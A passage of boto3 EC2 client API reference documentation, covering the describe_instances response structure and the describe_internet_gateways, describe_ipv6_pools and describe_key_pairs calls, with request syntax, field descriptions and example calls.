'PrivateIpAddress': 'string', + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'PublicDnsName': 'string', + 'PublicIpAddress': 'string', + 'RamdiskId': 'string', + 'State': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'StateTransitionReason': 'string', + 'SubnetId': 'string', + 'VpcId': 'string', + 'Architecture': 'i386'|'x86_64'|'arm64', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + ], + 'ClientToken': 'string', + 'EbsOptimized': True|False, + 'EnaSupport': True|False, + 'Hypervisor': 'ovm'|'xen', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'InstanceLifecycle': 'spot'|'scheduled', + 'ElasticGpuAssociations': [ + { + 'ElasticGpuId': 'string', + 'ElasticGpuAssociationId': 'string', + 'ElasticGpuAssociationState': 'string', + 'ElasticGpuAssociationTime': 'string' + }, + ], + 'ElasticInferenceAcceleratorAssociations': [ + { + 'ElasticInferenceAcceleratorArn': 'string', + 'ElasticInferenceAcceleratorAssociationId': 'string', + 'ElasticInferenceAcceleratorAssociationState': 'string', + 'ElasticInferenceAcceleratorAssociationTime': datetime(2015, 1, 1) + }, + ], + 'NetworkInterfaces': [ + { + 'Association': { + 'CarrierIp': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string' + }, + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'NetworkCardIndex': 123 + }, + 'Description': 'string', + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'MacAddress': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Association': { + 'CarrierIp': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string' + }, + 'Primary': True|False, + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string' + }, + ], + 'SourceDestCheck': True|False, + 'Status': 'available'|'associated'|'attaching'|'in-use'|'detaching', + 'SubnetId': 'string', + 'VpcId': 'string', + 'InterfaceType': 'string' + }, + ], + 'OutpostArn': 'string', + 'RootDeviceName': 'string', + 'RootDeviceType': 'ebs'|'instance-store', + 'SecurityGroups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'SourceDestCheck': True|False, + 'SpotInstanceRequestId': 'string', + 'SriovNetSupport': 'string', + 'StateReason': { + 'Code': 'string', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VirtualizationType': 'hvm'|'paravirtual', + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationId': 'string', + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'HibernationOptions': { + 'Configured': True|False + }, + 'Licenses': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + }, + ], + 'OwnerId': 'string', + 'RequesterId': 'string', + 'ReservationId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Reservations** _(list) --_ + + Information about the reservations. + + * _(dict) --_ + + Describes a launch request for one or more instances, and includes owner, requester, and security group information that applies to all instances in the launch request. + + * **Groups** _(list) --_ + + [EC2-Classic only] The security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **Instances** _(list) --_ + + The instances. + + * _(dict) --_ + + Describes an instance. + + * **AmiLaunchIndex** _(integer) --_ + + The AMI launch index, which can be used to find this instance in the launch group. + + * **ImageId** _(string) --_ + + The ID of the AMI used to launch the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The kernel associated with this instance, if applicable. + + * **KeyName** _(string) --_ + + The name of the key pair, if this instance was launched with an associated key pair. + + * **LaunchTime** _(datetime) --_ + + The time the instance was launched. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Platform** _(string) --_ + + The value is Windows for Windows instances; otherwise blank. + + * **PrivateDnsName** _(string) --_ + + (IPv4 only) The private DNS hostname name assigned to the instance. This DNS hostname can only be used inside the Amazon EC2 network. This name is not available until the instance enters the running state. + + [EC2-VPC] The Amazon-provided DNS server resolves Amazon-provided private DNS hostnames if you've enabled DNS resolution and DNS hostnames in your VPC. If you are not using the Amazon-provided DNS server in your VPC, your custom domain name servers must resolve the hostname as appropriate. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address assigned to the instance. + + * **ProductCodes** _(list) --_ + + The product codes attached to this instance, if applicable. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **PublicDnsName** _(string) --_ + + (IPv4 only) The public DNS name assigned to the instance. This name is not available until the instance enters the running state. For EC2-VPC, this name is only available if you've enabled DNS hostnames for your VPC. + + * **PublicIpAddress** _(string) --_ + + The public IPv4 address, or the Carrier IP address assigned to the instance, if applicable. + + A Carrier IP address only applies to an instance launched in a subnet associated with a Wavelength Zone. + + * **RamdiskId** _(string) --_ + + The RAM disk associated with this instance, if applicable. + + * **State** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **StateTransitionReason** _(string) --_ + + The reason for the most recent state transition. This might be an empty string. + + * **SubnetId** _(string) --_ + + [EC2-VPC] The ID of the subnet in which the instance is running. + + * **VpcId** _(string) --_ + + [EC2-VPC] The ID of the VPC in which the instance is running. + + * **Architecture** _(string) --_ + + The architecture of the image. + + * **BlockDeviceMappings** _(list) --_ + + Any block device mapping entries for the instance. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + * **Status** _(string) --_ + + The attachment state. + + * **VolumeId** _(string) --_ + + The ID of the EBS volume. + + * **ClientToken** _(string) --_ + + The idempotency token you provided when you launched the instance, if applicable. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + * **EnaSupport** _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + * **Hypervisor** _(string) --_ + + The hypervisor type of the instance. The value xen is used for both Xen and Nitro hypervisors. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile associated with the instance, if applicable. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Id** _(string) --_ + + The ID of the instance profile. + + * **InstanceLifecycle** _(string) --_ + + Indicates whether this is a Spot Instance or a Scheduled Instance. + + * **ElasticGpuAssociations** _(list) --_ + + The Elastic GPU associated with the instance. + + * _(dict) --_ + + Describes the association between an instance and an Elastic Graphics accelerator. + + * **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + * **ElasticGpuAssociationId** _(string) --_ + + The ID of the association. + + * **ElasticGpuAssociationState** _(string) --_ + + The state of the association between the instance and the Elastic Graphics accelerator. + + * **ElasticGpuAssociationTime** _(string) --_ + + The time the Elastic Graphics accelerator was associated with the instance. + + * **ElasticInferenceAcceleratorAssociations** _(list) --_ + + The elastic inference accelerator associated with the instance. + + * _(dict) --_ + + Describes the association between an instance and an elastic inference accelerator. + + * **ElasticInferenceAcceleratorArn** _(string) --_ + + The Amazon Resource Name (ARN) of the elastic inference accelerator. + + * **ElasticInferenceAcceleratorAssociationId** _(string) --_ + + The ID of the association. + + * **ElasticInferenceAcceleratorAssociationState** _(string) --_ + + The state of the elastic inference accelerator. + + * **ElasticInferenceAcceleratorAssociationTime** _(datetime) --_ + + The time at which the elastic inference accelerator is associated with an instance. + + * **NetworkInterfaces** _(list) --_ + + [EC2-VPC] The network interfaces for the instance. + + * _(dict) --_ + + Describes a network interface. + + * **Association** _(dict) --_ + + The association information for an Elastic IPv4 associated with the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + * **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + * **Attachment** _(dict) --_ + + The network interface attachment. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **DeviceIndex** _(integer) --_ + + The index of the device on the instance for the network interface attachment. + + * **Status** _(string) --_ + + The attachment state. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **Description** _(string) --_ + + The description. + + * **Groups** _(list) --_ + + One or more security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses associated with the network interface. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **MacAddress** _(string) --_ + + The MAC address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that created the network interface. + + * **PrivateDnsName** _(string) --_ + + The private DNS name. + + * **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses associated with the network interface. + + * _(dict) --_ + + Describes a private IPv4 address. + + * **Association** _(dict) --_ + + The association information for an Elastic IP address for the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + * **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + * **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IP address of the network interface. + + * **PrivateDnsName** _(string) --_ + + The private IPv4 DNS name. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. + + * **SourceDestCheck** _(boolean) --_ + + Indicates whether to validate network traffic to or from this network interface. + + * **Status** _(string) --_ + + The status of the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **InterfaceType** _(string) --_ + + Describes the type of network interface. + + Valid values: interface | efa + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **RootDeviceName** _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + * **RootDeviceType** _(string) --_ + + The root device type used by the AMI. The AMI can use an EBS volume or an instance store volume. + + * **SecurityGroups** _(list) --_ + + The security groups for the instance. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **SourceDestCheck** _(boolean) --_ + + Specifies whether to enable an instance launched in a VPC to perform NAT. This controls whether source/destination checking is enabled on the instance. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + * **SpotInstanceRequestId** _(string) --_ + + If the request is a Spot Instance request, the ID of the request. + + * **SriovNetSupport** _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + * **StateReason** _(dict) --_ + + The reason for the most recent state transition. + + * **Code** _(string) --_ + + The reason code for the state change. + + * **Message** _(string) --_ + + The message for the state change. + + * Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + * Server.InternalError : An internal error caused the instance to terminate during launch. + * Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + * Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + * Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + * Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + * Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + * Client.InternalError : A client error caused the instance to terminate during launch. + * Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + * Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + * Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + * Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + * **Tags** _(list) --_ + + Any tags assigned to the instance. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VirtualizationType** _(string) --_ + + The virtualization type of the instance. + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + * **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + * **CapacityReservationPreference** _(string) --_ + + Describes the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the targeted Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + * **HibernationOptions** _(dict) --_ + + Indicates whether the instance is enabled for hibernation. + + * **Configured** _(boolean) --_ + + If this parameter is set to true , your instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + * **Licenses** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. + + * **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + * **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the reservation. + + * **RequesterId** _(string) --_ + + The ID of the requester that launched the instances on your behalf (for example, AWS Management Console or Auto Scaling). + + * **ReservationId** _(string) --_ + + The ID of the reservation. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified instance. + +response = client.describe_instances( + InstanceIds=[ + 'i-1234567890abcdef0', + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the instances with the t2.micro instance type. + +response = client.describe_instances( + Filters=[ + { + 'Name': 'instance-type', + 'Values': [ + 't2.micro', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the instances with the Purpose=test tag. + +response = client.describe_instances( + Filters=[ + { + 'Name': 'tag:Purpose', + 'Values': [ + 'test', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_internet_gateways(kwargs_) + +Describes one or more of your internet gateways. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +response = client.describe_internet_gateways( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * attachment.state - The current state of the attachment between the gateway and the VPC (available ). Present only if a VPC is attached. + * attachment.vpc-id - The ID of an attached VPC. + * internet-gateway-id - The ID of the Internet gateway. + * owner-id - The ID of the AWS account that owns the internet gateway. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InternetGateways': [ + { + 'Attachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'InternetGatewayId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **InternetGateways** _(list) --_ + + Information about one or more internet gateways. + + * _(dict) --_ + + Describes an internet gateway. + + * **Attachments** _(list) --_ + + Any VPCs attached to the internet gateway. + + * _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + * **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **InternetGatewayId** _(string) --_ + + The ID of the internet gateway. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + * **Tags** _(list) --_ + + Any tags assigned to the internet gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the Internet gateway for the specified VPC. + +response = client.describe_internet_gateways( + Filters=[ + { + 'Name': 'attachment.vpc-id', + 'Values': [ + 'vpc-a01106c2', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'InternetGateways': [ + { + 'Attachments': [ + { + 'State': 'available', + 'VpcId': 'vpc-a01106c2', + }, + ], + 'InternetGatewayId': 'igw-c0a643a9', + 'Tags': [ + ], + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_ipv6_pools(kwargs_) + +Describes your IPv6 address pools. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeIpv6Pools) + +**Request Syntax** + +response = client.describe_ipv6_pools( + PoolIds=[ + 'string', + ], + NextToken='string', + MaxResults=123, + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **PoolIds** (_list_) -- + + The IDs of the IPv6 address pools. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. + + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6Pools': [ + { + 'PoolId': 'string', + 'Description': 'string', + 'PoolCidrBlocks': [ + { + 'Cidr': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Ipv6Pools** _(list) --_ + + Information about the IPv6 address pools. + + * _(dict) --_ + + Describes an IPv6 address pool. + + * **PoolId** _(string) --_ + + The ID of the address pool. + + * **Description** _(string) --_ + + The description for the address pool. + + * **PoolCidrBlocks** _(list) --_ + + The CIDR blocks for the address pool. + + * _(dict) --_ + + Describes a CIDR block for an address pool. + + * **Cidr** _(string) --_ + + The CIDR block. + + * **Tags** _(list) --_ + + Any tags for the address pool. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_key_pairs(kwargs_) + +Describes the specified key pairs or all of your key pairs. + +For more information about key pairs, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +response = client.describe_key_pairs( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + KeyNames=[ + 'string', + ], + KeyPairIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * key-pair-id - The ID of the key pair. + * fingerprint - The fingerprint of the key pair. + * key-name - The name of the key pair. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **KeyNames** (_list_) -- + + The key pair names. + + Default: Describes all your key pairs. + + * _(string) --_ +* **KeyPairIds** (_list_) -- + + The IDs of the key pairs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'KeyPairs': [ + { + 'KeyPairId': 'string', + 'KeyFingerprint': 'string', + 'KeyName': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + 